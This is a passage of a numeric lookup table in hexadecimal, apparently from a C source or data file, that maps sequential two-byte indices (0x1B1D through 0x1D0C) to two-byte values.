0x14,\r\n0x00, 0x1B, 0x1D, 0xd6, 0x16,\r\n0x00, 0x1B, 0x1E, 0xd7, 0x16,\r\n0x00, 0x1B, 0x1F, 0xd8, 0x16,\r\n0x00, 0x1B, 0x20, 0xd9, 0x16,\r\n0x00, 0x1B, 0x21, 0x80, 0x10,\r\n0x00, 0x1B, 0x22, 0xda, 0x16,\r\n0x00, 0x1B, 0x23, 0xdb, 0x16,\r\n0x00, 0x1B, 0x24, 0x20, 0x13,\r\n0x00, 0x1B, 0x25, 0x69, 0x01,\r\n0x00, 0x1B, 0x26, 0xdc, 0x16,\r\n0x00, 0x1B, 0x27, 0xdd, 0x16,\r\n0x00, 0x1B, 0x28, 0xde, 0x16,\r\n0x00, 0x1B, 0x29, 0xdf, 0x16,\r\n0x00, 0x1B, 0x2A, 0x05, 0x00,\r\n0x00, 0x1B, 0x2B, 0x05, 0x00,\r\n0x00, 0x1B, 0x2C, 0xe0, 0x16,\r\n0x00, 0x1B, 0x2D, 0xe1, 0x16,\r\n0x00, 0x1B, 0x2E, 0xe2, 0x16,\r\n0x00, 0x1B, 0x2F, 0x68, 0x08,\r\n0x00, 0x1B, 0x30, 0xe3, 0x16,\r\n0x00, 0x1B, 0x31, 0xe4, 0x16,\r\n0x00, 0x1B, 0x32, 0x91, 0x0c,\r\n0x00, 0x1B, 0x33, 0xb9, 0x02,\r\n0x00, 0x1B, 0x34, 0xe5, 0x16,\r\n0x00, 0x1B, 0x35, 0xe6, 0x16,\r\n0x00, 0x1B, 0x36, 0xe7, 0x16,\r\n0x00, 0x1B, 0x37, 0xe8, 0x16,\r\n0x00, 0x1B, 0x38, 0xe9, 0x16,\r\n0x00, 0x1B, 0x39, 0xea, 0x16,\r\n0x00, 0x1B, 0x3A, 0xeb, 0x16,\r\n0x00, 0x1B, 0x3B, 0xec, 0x16,\r\n0x00, 0x1B, 0x3C, 0xed, 0x16,\r\n0x00, 0x1B, 0x3D, 0xee, 0x16,\r\n0x00, 0x1B, 0x3E, 0xef, 0x16,\r\n0x00, 0x1B, 0x3F, 0x82, 0x13,\r\n0x00, 0x1B, 0x40, 0xf0, 0x16,\r\n0x00, 0x1B, 0x41, 0xf1, 0x16,\r\n0x00, 0x1B, 0x42, 0xf2, 0x16,\r\n0x00, 0x1B, 0x43, 0xf3, 0x16,\r\n0x00, 0x1B, 0x44, 0xf4, 0x16,\r\n0x00, 0x1B, 0x45, 0xf5, 0x16,\r\n0x00, 0x1B, 0x46, 0xf6, 0x16,\r\n0x00, 0x1B, 0x47, 0xf7, 0x16,\r\n0x00, 0x1B, 0x48, 0xe9, 0x01,\r\n0x00, 0x1B, 0x49, 0xf8, 0x16,\r\n0x00, 0x1B, 0x4A, 0xf9, 0x16,\r\n0x00, 0x1B, 0x4B, 0xfa, 0x16,\r\n0x00, 0x1B, 0x4C, 0xfb, 0x16,\r\n0x00, 0x1B, 0x4D, 0xfc, 0x16,\r\n0x00, 0x1B, 0x4E, 0xfd, 0x16,\r\n0x00, 0x1B, 0x4F, 0xc2, 0x03,\r\n0x00, 0x1B, 0x50, 0xfe, 0x16,\r\n0x00, 0x1B, 0x51, 0xff, 0x16,\r\n0x00, 0x1B, 0x52, 0xb9, 0x00,\r\n0x00, 0x1B, 0x53, 0x05, 0x00,\r\n0x00, 0x1B, 0x54, 0x05, 0x00,\r\n0x00, 0x1B, 0x55, 0x00, 0x17,\r\n0x00, 0x1B, 0x56, 0x01, 0x17,\r\n0x00, 0x1B, 0x57, 0x02, 0x17,\r\n0x00, 0x1B, 0x58, 0x03, 0x17,\r\n0x00, 0x1B, 0x59, 0xbe, 0x09,\r\n0x00, 0x1B, 0x5A, 0x04, 0x17,\r\n0x00, 0x1B, 0x5B, 0x02, 0x0c,\r\n0x00, 0x1B, 0x5C, 0x05, 0x17,\r\n0x00, 0x1B, 0x5D, 0x06, 0x17,\r\n0x00, 0x1B, 0x5E, 0x07, 0x17,\r\n0x00, 0x1B, 0x5F, 0x08, 0x17,\r\n0x00, 0x1B, 0x60, 0x09, 0x17,\r\n0x00, 0x1B, 0x61, 0x0a, 0x17,\r\n0x00, 0x1B, 0x62, 0x0b, 0x17,\r\n0x00, 0x1B, 0x63, 0x51, 0x03,\r\n0x00, 0x1B, 0x64, 0x0c, 0x17,\r\n0x00, 0x1B, 0x65, 0x0d, 0x17,\r\n0x00, 0x1B, 0x66, 0x67, 0x13,\r\n0x00, 0x1B, 0x67, 0x05, 0x00,\r\n0x00, 0x1B, 0x68, 0x0e, 0x17,\r\n0x00, 0x1B, 0x69, 0x0f, 0x17,\r\n0x00, 0x1B, 0x6A, 0x10, 0x17,\r\n0x00, 0x1B, 0x6B, 0x11, 0x17,\r\n0x00, 0x1B, 0x6C, 0x12, 0x17,\r\n0x00, 0x1B, 0x6D, 0x13, 0x17,\r\n0x00, 0x1B, 0x6E, 0x14, 0x17,\r\n0x00, 0x1B, 0x6F, 0x15, 0x17,\r\n0x00, 0x1B, 0x70, 0x16, 0x17,\r\n0x00, 0x1B, 0x71, 0x17, 0x17,\r\n0x00, 0x1B, 0x72, 0x18, 0x17,\r\n0x00, 0x1B, 0x73, 0x19, 0x17,\r\n0x00, 0x1B, 0x74, 0x1a, 0x17,\r\n0x00, 0x1B, 0x75, 0x1b, 0x17,\r\n0x00, 0x1B, 0x76, 0x1c, 0x17,\r\n0x00, 0x1B, 0x77, 0x80, 0x10,\r\n0x00, 0x1B, 0x78, 0xc9, 0x01,\r\n0x00, 0x1B, 0x79, 0x1d, 0x17,\r\n0x00, 0x1B, 0x7A, 0xc5, 0x08,\r\n0x00, 0x1B, 0x7B, 0x1e, 0x17,\r\n0x00, 0x1B, 0x7C, 0x1f, 0x17,\r\n0x00, 0x1B, 0x7D, 0x20, 0x17,\r\n0x00, 0x1B, 0x7E, 0x21, 0x17,\r\n0x00, 0x1B, 0x7F, 0x22, 0x17,\r\n0x00, 0x1B, 0x80, 0x23, 0x17,\r\n0x00, 0x1B, 0x81, 0x24, 0x17,\r\n0x00, 0x1B, 0x82, 0xa1, 0x09,\r\n0x00, 0x1B, 0x83, 0x25, 0x17,\r\n0x00, 0x1B, 0x84, 0x26, 0x17,\r\n0x00, 0x1B, 0x85, 0x27, 0x17,\r\n0x00, 0x1B, 0x86, 0x3c, 0x0e,\r\n0x00, 0x1B, 0x87, 0x28, 0x17,\r\n0x00, 0x1B, 0x88, 0x29, 0x17,\r\n0x00, 0x1B, 0x89, 0x2a, 0x17,\r\n0x00, 0x1B, 0x8A, 0x2b, 0x17,\r\n0x00, 0x1B, 0x8B, 0xa2, 0x0b,\r\n0x00, 0x1B, 0x8C, 0x2c, 0x17,\r\n0x00, 0x1B, 0x8D, 0x38, 0x05,\r\n0x00, 0x1B, 0x8E, 0x2d, 0x17,\r\n0x00, 0x1B, 0x8F, 0x05, 0x00,\r\n0x00, 0x1B, 0x90, 0x05, 0x00,\r\n0x00, 0x1B, 0x91, 0x2e, 0x17,\r\n0x00, 0x1B, 0x92, 0x2f, 0x17,\r\n0x00, 0x1B, 0x93, 0x30, 0x17,\r\n0x00, 0x1B, 0x94, 0x31, 0x17,\r\n0x00, 0x1B, 0x95, 0x32, 0x17,\r\n0x00, 0x1B, 0x96, 0x13, 0x11,\r\n0x00, 0x1B, 0x97, 0x33, 0x17,\r\n0x00, 0x1B, 0x98, 0x4f, 0x02,\r\n0x00, 0x1B, 0x99, 0x34, 0x17,\r\n0x00, 0x1B, 0x9A, 0x35, 0x17,\r\n0x00, 0x1B, 0x9B, 0x36, 0x17,\r\n0x00, 0x1B, 0x9C, 0x37, 0x17,\r\n0x00, 0x1B, 0x9D, 0x38, 0x17,\r\n0x00, 0x1B, 0x9E, 0xb7, 0x0f,\r\n0x00, 0x1B, 0x9F, 0x39, 0x17,\r\n0x00, 0x1B, 0xA0, 0x3a, 0x17,\r\n0x00, 0x1B, 0xA1, 0x3b, 0x17,\r\n0x00, 0x1B, 0xA2, 0x3c, 0x17,\r\n0x00, 0x1B, 0xA3, 0x3d, 0x17,\r\n0x00, 0x1B, 0xA4, 0x3e, 0x17,\r\n0x00, 0x1B, 0xA5, 0x3f, 0x17,\r\n0x00, 0x1B, 0xA6, 0x40, 0x17,\r\n0x00, 0x1B, 0xA7, 0x41, 0x17,\r\n0x00, 0x1B, 0xA8, 0x42, 0x17,\r\n0x00, 0x1B, 0xA9, 0x43, 0x17,\r\n0x00, 0x1B, 0xAA, 0x44, 0x17,\r\n0x00, 0x1B, 0xAB, 0x45, 0x17,\r\n0x00, 0x1B, 0xAC, 0x46, 0x17,\r\n0x00, 0x1B, 0xAD, 0x47, 0x17,\r\n0x00, 0x1B, 0xAE, 0x75, 0x0c,\r\n0x00, 0x1B, 0xAF, 0xb9, 0x02,\r\n0x00, 0x1B, 0xB0, 0x48, 0x17,\r\n0x00, 0x1B, 0xB1, 0x3f, 0x0a,\r\n0x00, 0x1B, 0xB2, 0x49, 0x17,\r\n0x00, 0x1B, 0xB3, 0x4a, 0x17,\r\n0x00, 0x1B, 0xB4, 0x4b, 0x17,\r\n0x00, 0x1B, 0xB5, 0x4c, 0x17,\r\n0x00, 0x1B, 0xB6, 0x4d, 0x17,\r\n0x00, 0x1B, 0xB7, 0x4e, 0x17,\r\n0x00, 0x1B, 0xB8, 0x4f, 0x17,\r\n0x00, 0x1B, 0xB9, 0xee, 0x06,\r\n0x00, 0x1B, 0xBA, 0x69, 0x01,\r\n0x00, 0x1B, 0xBB, 0x50, 0x17,\r\n0x00, 0x1B, 0xBC, 0x51, 0x17,\r\n0x00, 0x1B, 0xBD, 0x52, 0x17,\r\n0x00, 0x1B, 0xBE, 0x53, 0x17,\r\n0x00, 0x1B, 0xBF, 0xc4, 0x0c,\r\n0x00, 0x1B, 0xC0, 0x08, 0x05,\r\n0x00, 0x1B, 0xC1, 0x54, 0x17,\r\n0x00, 0x1B, 0xC2, 0xd5, 0x00,\r\n0x00, 0x1B, 0xC3, 0x55, 0x17,\r\n0x00, 0x1B, 0xC4, 0x56, 0x17,\r\n0x00, 0x1B, 0xC5, 0x57, 0x17,\r\n0x00, 0x1B, 0xC6, 0x58, 0x17,\r\n0x00, 0x1B, 0xC7, 0x59, 0x17,\r\n0x00, 0x1B, 0xC8, 0x5a, 0x17,\r\n0x00, 0x1B, 0xC9, 0x5b, 0x17,\r\n0x00, 0x1B, 0xCA, 0x5c, 0x17,\r\n0x00, 0x1B, 0xCB, 0x5d, 0x17,\r\n0x00, 0x1B, 0xCC, 0x5e, 0x17,\r\n0x00, 0x1B, 0xCD, 0x5f, 0x17,\r\n0x00, 0x1B, 0xCE, 0x1a, 0x10,\r\n0x00, 0x1B, 0xCF, 0x60, 0x17,\r\n0x00, 0x1B, 0xD0, 0x61, 0x17,\r\n0x00, 0x1B, 0xD1, 0x62, 0x17,\r\n0x00, 0x1B, 0xD2, 0x63, 0x17,\r\n0x00, 0x1B, 0xD3, 0x5e, 0x0d,\r\n0x00, 0x1B, 0xD4, 0x05, 0x00,\r\n0x00, 0x1B, 0xD5, 0x05, 0x00,\r\n0x00, 0x1B, 0xD6, 0x64, 0x17,\r\n0x00, 0x1B, 0xD7, 0xc4, 0x14,\r\n0x00, 0x1B, 0xD8, 0x65, 0x17,\r\n0x00, 0x1B, 0xD9, 0x66, 0x17,\r\n0x00, 0x1B, 0xDA, 0x0f, 0x07,\r\n0x00, 0x1B, 0xDB, 0x67, 0x17,\r\n0x00, 0x1B, 0xDC, 0x68, 0x17,\r\n0x00, 0x1B, 0xDD, 0xb9, 0x00,\r\n0x00, 0x1B, 0xDE, 0x69, 0x17,\r\n0x00, 0x1B, 0xDF, 0x6a, 0x17,\r\n0x00, 0x1B, 0xE0, 0x6b, 0x17,\r\n0x00, 0x1B, 0xE1, 0x6c, 0x17,\r\n0x00, 0x1B, 0xE2, 0x6d, 0x17,\r\n0x00, 0x1B, 0xE3, 0x6e, 0x17,\r\n0x00, 0x1B, 0xE4, 0x6f, 0x17,\r\n0x00, 0x1B, 0xE5, 0x70, 0x17,\r\n0x00, 0x1B, 0xE6, 0x71, 0x17,\r\n0x00, 0x1B, 0xE7, 0x72, 0x17,\r\n0x00, 0x1B, 0xE8, 0x73, 0x17,\r\n0x00, 0x1B, 0xE9, 0x35, 0x05,\r\n0x00, 0x1B, 0xEA, 0xc5, 0x08,\r\n0x00, 0x1B, 0xEB, 0x74, 0x17,\r\n0x00, 0x1B, 0xEC, 0x75, 0x17,\r\n0x00, 0x1B, 0xED, 0x80, 0x00,\r\n0x00, 0x1B, 0xEE, 0xb9, 0x02,\r\n0x00, 0x1B, 0xEF, 0x76, 0x17,\r\n0x00, 0x1B, 0xF0, 0x77, 0x17,\r\n0x00, 0x1B, 0xF1, 0x62, 0x0b,\r\n0x00, 0x1B, 0xF2, 0x78, 0x17,\r\n0x00, 0x1B, 0xF3, 0x79, 0x17,\r\n0x00, 0x1B, 0xF4, 0x7a, 0x17,\r\n0x00, 0x1B, 0xF5, 0x7b, 0x17,\r\n0x00, 0x1B, 0xF6, 0x7c, 0x17,\r\n0x00, 0x1B, 0xF7, 0x7d, 0x17,\r\n0x00, 0x1B, 0xF8, 0x7e, 0x17,\r\n0x00, 0x1B, 0xF9, 0x7f, 0x17,\r\n0x00, 0x1B, 0xFA, 0x80, 0x17,\r\n0x00, 0x1B, 0xFB, 0x93, 0x02,\r\n0x00, 0x1B, 0xFC, 0x20, 0x0b,\r\n0x00, 0x1B, 0xFD, 0x81, 0x17,\r\n0x00, 0x1B, 0xFE, 0x82, 0x17,\r\n0x00, 0x1B, 0xFF, 0xf5, 0x0f,\r\n0x00, 0x1C, 0x00, 0x83, 0x17,\r\n0x00, 0x1C, 0x01, 0x84, 0x17,\r\n0x00, 0x1C, 0x02, 0x85, 0x17,\r\n0x00, 0x1C, 0x03, 0x86, 0x17,\r\n0x00, 0x1C, 0x04, 0x87, 0x17,\r\n0x00, 0x1C, 0x05, 0x88, 0x17,\r\n0x00, 0x1C, 0x06, 0xf8, 0x0e,\r\n0x00, 0x1C, 0x07, 0x89, 0x17,\r\n0x00, 0x1C, 0x08, 0x8a, 0x17,\r\n0x00, 0x1C, 0x09, 0x8b, 0x17,\r\n0x00, 0x1C, 0x0A, 0xe9, 0x01,\r\n0x00, 0x1C, 0x0B, 0x8c, 0x17,\r\n0x00, 0x1C, 0x0C, 0x8d, 0x17,\r\n0x00, 0x1C, 0x0D, 0x8e, 0x17,\r\n0x00, 0x1C, 0x0E, 0x05, 0x00,\r\n0x00, 0x1C, 0x0F, 0x05, 0x00,\r\n0x00, 0x1C, 0x10, 0xf9, 0x0a,\r\n0x00, 0x1C, 0x11, 0xb9, 0x00,\r\n0x00, 0x1C, 0x12, 0xb9, 0x00,\r\n0x00, 0x1C, 0x13, 0x8f, 0x17,\r\n0x00, 0x1C, 0x14, 0xf0, 0x04,\r\n0x00, 0x1C, 0x15, 0x90, 0x17,\r\n0x00, 0x1C, 0x16, 0x91, 0x17,\r\n0x00, 0x1C, 0x17, 0x69, 0x01,\r\n0x00, 0x1C, 0x18, 0x92, 0x17,\r\n0x00, 0x1C, 0x19, 0x93, 0x17,\r\n0x00, 0x1C, 0x1A, 0x94, 0x17,\r\n0x00, 0x1C, 0x1B, 0x95, 0x17,\r\n0x00, 0x1C, 0x1C, 0x96, 0x17,\r\n0x00, 0x1C, 0x1D, 0x97, 0x17,\r\n0x00, 0x1C, 0x1E, 0x98, 0x17,\r\n0x00, 0x1C, 0x1F, 0x99, 0x17,\r\n0x00, 0x1C, 0x20, 0x9a, 0x17,\r\n0x00, 0x1C, 0x21, 0x9b, 0x17,\r\n0x00, 0x1C, 0x22, 0x9c, 0x17,\r\n0x00, 0x1C, 0x23, 0xd1, 0x05,\r\n0x00, 0x1C, 0x24, 0x9d, 0x17,\r\n0x00, 0x1C, 0x25, 0xe3, 0x11,\r\n0x00, 0x1C, 0x26, 0xe3, 0x11,\r\n0x00, 0x1C, 0x27, 0x9e, 0x17,\r\n0x00, 0x1C, 0x28, 0x9f, 0x17,\r\n0x00, 0x1C, 0x29, 0xa0, 0x17,\r\n0x00, 0x1C, 0x2A, 0xa1, 0x17,\r\n0x00, 0x1C, 0x2B, 0xa2, 0x17,\r\n0x00, 0x1C, 0x2C, 0xa3, 0x17,\r\n0x00, 0x1C, 0x2D, 0xa4, 0x17,\r\n0x00, 0x1C, 0x2E, 0xa5, 0x17,\r\n0x00, 0x1C, 0x2F, 0xa6, 0x17,\r\n0x00, 0x1C, 0x30, 0xa7, 0x17,\r\n0x00, 0x1C, 0x31, 0xa8, 0x17,\r\n0x00, 0x1C, 0x32, 0xa9, 0x17,\r\n0x00, 0x1C, 0x33, 0xaa, 0x17,\r\n0x00, 0x1C, 0x34, 0xab, 0x17,\r\n0x00, 0x1C, 0x35, 0xb9, 0x02,\r\n0x00, 0x1C, 0x36, 0xac, 0x17,\r\n0x00, 0x1C, 0x37, 0xad, 0x17,\r\n0x00, 0x1C, 0x38, 0xae, 0x17,\r\n0x00, 0x1C, 0x39, 0xaf, 0x17,\r\n0x00, 0x1C, 0x3A, 0xb0, 0x17,\r\n0x00, 0x1C, 0x3B, 0xb1, 0x17,\r\n0x00, 0x1C, 0x3C, 0xb2, 0x17,\r\n0x00, 0x1C, 0x3D, 0xb3, 0x17,\r\n0x00, 0x1C, 0x3E, 0xb4, 0x17,\r\n0x00, 0x1C, 0x3F, 0xdf, 0x03,\r\n0x00, 0x1C, 0x40, 0xb5, 0x17,\r\n0x00, 0x1C, 0x41, 0xb6, 0x17,\r\n0x00, 0x1C, 0x42, 0xb7, 0x17,\r\n0x00, 0x1C, 0x43, 0x4f, 0x02,\r\n0x00, 0x1C, 0x44, 0x1d, 0x01,\r\n0x00, 0x1C, 0x45, 0xb8, 0x17,\r\n0x00, 0x1C, 0x46, 0xb9, 0x17,\r\n0x00, 0x1C, 0x47, 0x10, 0x0e,\r\n0x00, 0x1C, 0x48, 0xba, 0x17,\r\n0x00, 0x1C, 0x49, 0xbb, 0x17,\r\n0x00, 0x1C, 0x4A, 0xc3, 0x03,\r\n0x00, 0x1C, 0x4B, 0xbc, 0x17,\r\n0x00, 0x1C, 0x4C, 0xbd, 0x17,\r\n0x00, 0x1C, 0x4D, 0xbe, 0x17,\r\n0x00, 0x1C, 0x4E, 0xbf, 0x17,\r\n0x00, 0x1C, 0x4F, 0xc0, 0x17,\r\n0x00, 0x1C, 0x50, 0xc1, 0x17,\r\n0x00, 0x1C, 0x51, 0xc2, 0x17,\r\n0x00, 0x1C, 0x52, 0xc3, 0x17,\r\n0x00, 0x1C, 0x53, 0xc4, 0x17,\r\n0x00, 0x1C, 0x54, 0xc5, 0x17,\r\n0x00, 0x1C, 0x55, 0xe9, 0x01,\r\n0x00, 0x1C, 0x56, 0xc6, 0x17,\r\n0x00, 0x1C, 0x57, 0x05, 0x00,\r\n0x00, 0x1C, 0x58, 0x05, 0x00,\r\n0x00, 0x1C, 0x59, 0xc7, 0x17,\r\n0x00, 0x1C, 0x5A, 0xf7, 0x01,\r\n0x00, 0x1C, 0x5B, 0xc8, 0x17,\r\n0x00, 0x1C, 0x5C, 0xd5, 0x00,\r\n0x00, 0x1C, 0x5D, 0xc9, 0x17,\r\n0x00, 0x1C, 0x5E, 0xca, 0x17,\r\n0x00, 0x1C, 0x5F, 0xcb, 0x17,\r\n0x00, 0x1C, 0x60, 0xcc, 0x17,\r\n0x00, 0x1C, 0x61, 0xcd, 0x17,\r\n0x00, 0x1C, 0x62, 0xce, 0x17,\r\n0x00, 0x1C, 0x63, 0xcf, 0x17,\r\n0x00, 0x1C, 0x64, 0xcc, 0x0d,\r\n0x00, 0x1C, 0x65, 0xd0, 0x17,\r\n0x00, 0x1C, 0x66, 0xd1, 0x17,\r\n0x00, 0x1C, 0x67, 0xd2, 0x17,\r\n0x00, 0x1C, 0x68, 0xd3, 0x17,\r\n0x00, 0x1C, 0x69, 0xd4, 0x17,\r\n0x00, 0x1C, 0x6A, 0xd5, 0x17,\r\n0x00, 0x1C, 0x6B, 0xd6, 0x17,\r\n0x00, 0x1C, 0x6C, 0xd7, 0x17,\r\n0x00, 0x1C, 0x6D, 0xd8, 0x17,\r\n0x00, 0x1C, 0x6E, 0xd9, 0x17,\r\n0x00, 0x1C, 0x6F, 0xda, 0x17,\r\n0x00, 0x1C, 0x70, 0xdb, 0x17,\r\n0x00, 0x1C, 0x71, 0xdc, 0x17,\r\n0x00, 0x1C, 0x72, 0xdd, 0x17,\r\n0x00, 0x1C, 0x73, 0xde, 0x17,\r\n0x00, 0x1C, 0x74, 0xdf, 0x17,\r\n0x00, 0x1C, 0x75, 0xe0, 0x17,\r\n0x00, 0x1C, 0x76, 0xe1, 0x17,\r\n0x00, 0x1C, 0x77, 0xe2, 0x17,\r\n0x00, 0x1C, 0x78, 0xe3, 0x17,\r\n0x00, 0x1C, 0x79, 0xe4, 0x17,\r\n0x00, 0x1C, 0x7A, 0xe5, 0x17,\r\n0x00, 0x1C, 0x7B, 0xe6, 0x17,\r\n0x00, 0x1C, 0x7C, 0xe7, 0x17,\r\n0x00, 0x1C, 0x7D, 0xe8, 0x17,\r\n0x00, 0x1C, 0x7E, 0x32, 0x00,\r\n0x00, 0x1C, 0x7F, 0x5d, 0x10,\r\n0x00, 0x1C, 0x80, 0xe9, 0x17,\r\n0x00, 0x1C, 0x81, 0xea, 0x17,\r\n0x00, 0x1C, 0x82, 0xeb, 0x17,\r\n0x00, 0x1C, 0x83, 0xec, 0x17,\r\n0x00, 0x1C, 0x84, 0xed, 0x17,\r\n0x00, 0x1C, 0x85, 0xee, 0x17,\r\n0x00, 0x1C, 0x86, 0xef, 0x17,\r\n0x00, 0x1C, 0x87, 0xf0, 0x17,\r\n0x00, 0x1C, 0x88, 0xf1, 0x17,\r\n0x00, 0x1C, 0x89, 0xf2, 0x17,\r\n0x00, 0x1C, 0x8A, 0xf3, 0x17,\r\n0x00, 0x1C, 0x8B, 0xf4, 0x17,\r\n0x00, 0x1C, 0x8C, 0xf5, 0x17,\r\n0x00, 0x1C, 0x8D, 0xf6, 0x17,\r\n0x00, 0x1C, 0x8E, 0xd1, 0x06,\r\n0x00, 0x1C, 0x8F, 0xf7, 0x01,\r\n0x00, 0x1C, 0x90, 0xf7, 0x17,\r\n0x00, 0x1C, 0x91, 0xf8, 0x17,\r\n0x00, 0x1C, 0x92, 0xf9, 0x17,\r\n0x00, 0x1C, 0x93, 0xfa, 0x17,\r\n0x00, 0x1C, 0x94, 0xfb, 0x17,\r\n0x00, 0x1C, 0x95, 0xfc, 0x17,\r\n0x00, 0x1C, 0x96, 0xfd, 0x17,\r\n0x00, 0x1C, 0x97, 0xfe, 0x17,\r\n0x00, 0x1C, 0x98, 0xff, 0x17,\r\n0x00, 0x1C, 0x99, 0x00, 0x18,\r\n0x00, 0x1C, 0x9A, 0xb9, 0x02,\r\n0x00, 0x1C, 0x9B, 0x01, 0x18,\r\n0x00, 0x1C, 0x9C, 0x69, 0x01,\r\n0x00, 0x1C, 0x9D, 0x02, 0x18,\r\n0x00, 0x1C, 0x9E, 0x03, 0x18,\r\n0x00, 0x1C, 0x9F, 0x04, 0x18,\r\n0x00, 0x1C, 0xA0, 0x10, 0x0a,\r\n0x00, 0x1C, 0xA1, 0x05, 0x18,\r\n0x00, 0x1C, 0xA2, 0x71, 0x07,\r\n0x00, 0x1C, 0xA3, 0x06, 0x18,\r\n0x00, 0x1C, 0xA4, 0xbe, 0x09,\r\n0x00, 0x1C, 0xA5, 0x07, 0x18,\r\n0x00, 0x1C, 0xA6, 0x08, 0x18,\r\n0x00, 0x1C, 0xA7, 0xdf, 0x03,\r\n0x00, 0x1C, 0xA8, 0x09, 0x18,\r\n0x00, 0x1C, 0xA9, 0x0a, 0x18,\r\n0x00, 0x1C, 0xAA, 0x0b, 0x18,\r\n0x00, 0x1C, 0xAB, 0x0c, 0x18,\r\n0x00, 0x1C, 0xAC, 0x0d, 0x18,\r\n0x00, 0x1C, 0xAD, 0x0e, 0x18,\r\n0x00, 0x1C, 0xAE, 0x0f, 0x18,\r\n0x00, 0x1C, 0xAF, 0x10, 0x18,\r\n0x00, 0x1C, 0xB0, 0x05, 0x00,\r\n0x00, 0x1C, 0xB1, 0x05, 0x00,\r\n0x00, 0x1C, 0xB2, 0x11, 0x18,\r\n0x00, 0x1C, 0xB3, 0x51, 0x03,\r\n0x00, 0x1C, 0xB4, 0x12, 0x18,\r\n0x00, 0x1C, 0xB5, 0x13, 0x18,\r\n0x00, 0x1C, 0xB6, 0x14, 0x18,\r\n0x00, 0x1C, 0xB7, 0x15, 0x18,\r\n0x00, 0x1C, 0xB8, 0x16, 0x18,\r\n0x00, 0x1C, 0xB9, 0x17, 0x18,\r\n0x00, 0x1C, 0xBA, 0x18, 0x18,\r\n0x00, 0x1C, 0xBB, 0x19, 0x18,\r\n0x00, 0x1C, 0xBC, 0x1a, 0x18,\r\n0x00, 0x1C, 0xBD, 0x1b, 0x18,\r\n0x00, 0x1C, 0xBE, 0xc5, 0x08,\r\n0x00, 0x1C, 0xBF, 0x80, 0x10,\r\n0x00, 0x1C, 0xC0, 0x80, 0x10,\r\n0x00, 0x1C, 0xC1, 0xb9, 0x00,\r\n0x00, 0x1C, 0xC2, 0x1c, 0x18,\r\n0x00, 0x1C, 0xC3, 0xb9, 0x00,\r\n0x00, 0x1C, 0xC4, 0xc9, 0x01,\r\n0x00, 0x1C, 0xC5, 0xf2, 0x00,\r\n0x00, 0x1C, 0xC6, 0x1d, 0x18,\r\n0x00, 0x1C, 0xC7, 0x1e, 0x18,\r\n0x00, 0x1C, 0xC8, 0x1f, 0x18,\r\n0x00, 0x1C, 0xC9, 0x20, 0x18,\r\n0x00, 0x1C, 0xCA, 0x0e, 0x03,\r\n0x00, 0x1C, 0xCB, 0x21, 0x18,\r\n0x00, 0x1C, 0xCC, 0xc2, 0x0d,\r\n0x00, 0x1C, 0xCD, 0x22, 0x18,\r\n0x00, 0x1C, 0xCE, 0x23, 0x18,\r\n0x00, 0x1C, 0xCF, 0x24, 0x18,\r\n0x00, 0x1C, 0xD0, 0x25, 0x18,\r\n0x00, 0x1C, 0xD1, 0x26, 0x18,\r\n0x00, 0x1C, 0xD2, 0x27, 0x18,\r\n0x00, 0x1C, 0xD3, 0x28, 0x18,\r\n0x00, 0x1C, 0xD4, 0xb9, 0x02,\r\n0x00, 0x1C, 0xD5, 0x29, 0x18,\r\n0x00, 0x1C, 0xD6, 0xb9, 0x02,\r\n0x00, 0x1C, 0xD7, 0x2a, 0x18,\r\n0x00, 0x1C, 0xD8, 0x2b, 0x18,\r\n0x00, 0x1C, 0xD9, 0x8c, 0x08,\r\n0x00, 0x1C, 0xDA, 0x2c, 0x18,\r\n0x00, 0x1C, 0xDB, 0x2d, 0x18,\r\n0x00, 0x1C, 0xDC, 0x2e, 0x18,\r\n0x00, 0x1C, 0xDD, 0x2f, 0x18,\r\n0x00, 0x1C, 0xDE, 0x40, 0x06,\r\n0x00, 0x1C, 0xDF, 0xe5, 0x13,\r\n0x00, 0x1C, 0xE0, 0x30, 0x18,\r\n0x00, 0x1C, 0xE1, 0x31, 0x18,\r\n0x00, 0x1C, 0xE2, 0x32, 0x18,\r\n0x00, 0x1C, 0xE3, 0x33, 0x18,\r\n0x00, 0x1C, 0xE4, 0x34, 0x18,\r\n0x00, 0x1C, 0xE5, 0x35, 0x18,\r\n0x00, 0x1C, 0xE6, 0x36, 0x18,\r\n0x00, 0x1C, 0xE7, 0x37, 0x18,\r\n0x00, 0x1C, 0xE8, 0x38, 0x18,\r\n0x00, 0x1C, 0xE9, 0x18, 0x16,\r\n0x00, 0x1C, 0xEA, 0x8c, 0x01,\r\n0x00, 0x1C, 0xEB, 0x69, 0x01,\r\n0x00, 0x1C, 0xEC, 0x39, 0x18,\r\n0x00, 0x1C, 0xED, 0x3a, 0x18,\r\n0x00, 0x1C, 0xEE, 0xfe, 0x13,\r\n0x00, 0x1C, 0xEF, 0x4d, 0x02,\r\n0x00, 0x1C, 0xF0, 0xe8, 0x04,\r\n0x00, 0x1C, 0xF1, 0x3b, 0x18,\r\n0x00, 0x1C, 0xF2, 0x3c, 0x18,\r\n0x00, 0x1C, 0xF3, 0x3d, 0x18,\r\n0x00, 0x1C, 0xF4, 0x3e, 0x18,\r\n0x00, 0x1C, 0xF5, 0x3f, 0x18,\r\n0x00, 0x1C, 0xF6, 0x05, 0x00,\r\n0x00, 0x1C, 0xF7, 0x40, 0x18,\r\n0x00, 0x1C, 0xF8, 0x41, 0x18,\r\n0x00, 0x1C, 0xF9, 0x05, 0x00,\r\n0x00, 0x1C, 0xFA, 0x42, 0x18,\r\n0x00, 0x1C, 0xFB, 0xb9, 0x00,\r\n0x00, 0x1C, 0xFC, 0x58, 0x00,\r\n0x00, 0x1C, 0xFD, 0x0a, 0x01,\r\n0x00, 0x1C, 0xFE, 0x43, 0x18,\r\n0x00, 0x1C, 0xFF, 0x44, 0x18,\r\n0x00, 0x1D, 0x00, 0x45, 0x18,\r\n0x00, 0x1D, 0x01, 0x46, 0x18,\r\n0x00, 0x1D, 0x02, 0x47, 0x18,\r\n0x00, 0x1D, 0x03, 0x48, 0x18,\r\n0x00, 0x1D, 0x04, 0x49, 0x18,\r\n0x00, 0x1D, 0x05, 0x6c, 0x0b,\r\n0x00, 0x1D, 0x06, 0x4a, 0x18,\r\n0x00, 0x1D, 0x07, 0xe9, 0x01,\r\n0x00, 0x1D, 0x08, 0x6c, 0x10,\r\n0x00, 0x1D, 0x09, 0xd1, 0x05,\r\n0x00, 0x1D, 0x0A, 0x4b, 0x18,\r\n0x00, 0x1D, 0x0B, 0x4c, 0x18,\r\n0x00, 0x1D, 0x0C, 0x4d, 0x18,\r\n0x00, 0x1D, 